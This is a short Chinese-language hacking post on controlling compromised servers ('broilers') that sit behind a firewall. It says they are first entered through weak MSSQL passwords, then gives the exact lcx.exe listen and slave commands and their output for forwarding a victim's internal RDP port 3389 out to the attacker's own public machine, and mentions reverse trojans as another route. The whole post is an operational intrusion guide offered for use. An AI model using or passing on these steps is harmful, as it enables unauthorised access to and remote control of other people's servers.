注册
登录
| 关键词： 肉鸡 端口 3389 本机 port listen 机子 Listening 监听 运行 |
以前抓肉鸡都是通过1433弱口令,然后.... 但是发现很多服务器开了1433,3389,但是终端是连不上的,因为服务器本身是在内网,只对外开放了1433端口,幸好有lcx.exe这个东西,用sqltools.exe传倒服务器上... lcx.exe是个端口转发工具,相当于把肉鸡A上的3389端口转发到B机上,当然这个B机必须有外网IP.这样链接B机的3389度端口就相当于链接A机的3389. 用法:如在本机B上监听 -listen 51 3389，在肉鸡A上运行-slave 本机ip 51 肉鸡ip 3389 那么在本地连127.0.0.1就可以连肉鸡的3389.第二条是本机转向。 首先在自己机子的cmd下运行 lcx.exe -listen 51 3389 意思是监听51端口并转发到3389端口 显示如下：[+] Listening port 51 ...... [+] Listen OK! [+] Listening port 3389 ...... [+] Listen OK! [+] Waiting for Client on port:51 ......然后在肉鸡上运行 lcx.exe -slave 你的IP 51 201.1.1.1 3389 201.1.1.1是我举例用的肉鸡IP.换成你的..运行以后本机监听端口就会收到信息.[+] Listening port 51 ...... [+] Listen OK! [+] Listening port 3389 ...... [+] Listen OK! [+] Waiting for Client on port:51 ...... [+] Accept a Client on port 55 from 201.1.1.1 ...... [+] Waiting another Client on port:3389....好了.现在在自己机子上链接 127.0.0.1 或者输你自己IP. 发现进去的不是自己机子,(或者自己机子根本连不上),而是肉鸡A了!优点,搞定内网肉鸡. 缺点,有点麻烦,而且每次都要通过sqltools先进行端口转发.当然也可以用反弹木马控制肉鸡了. |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
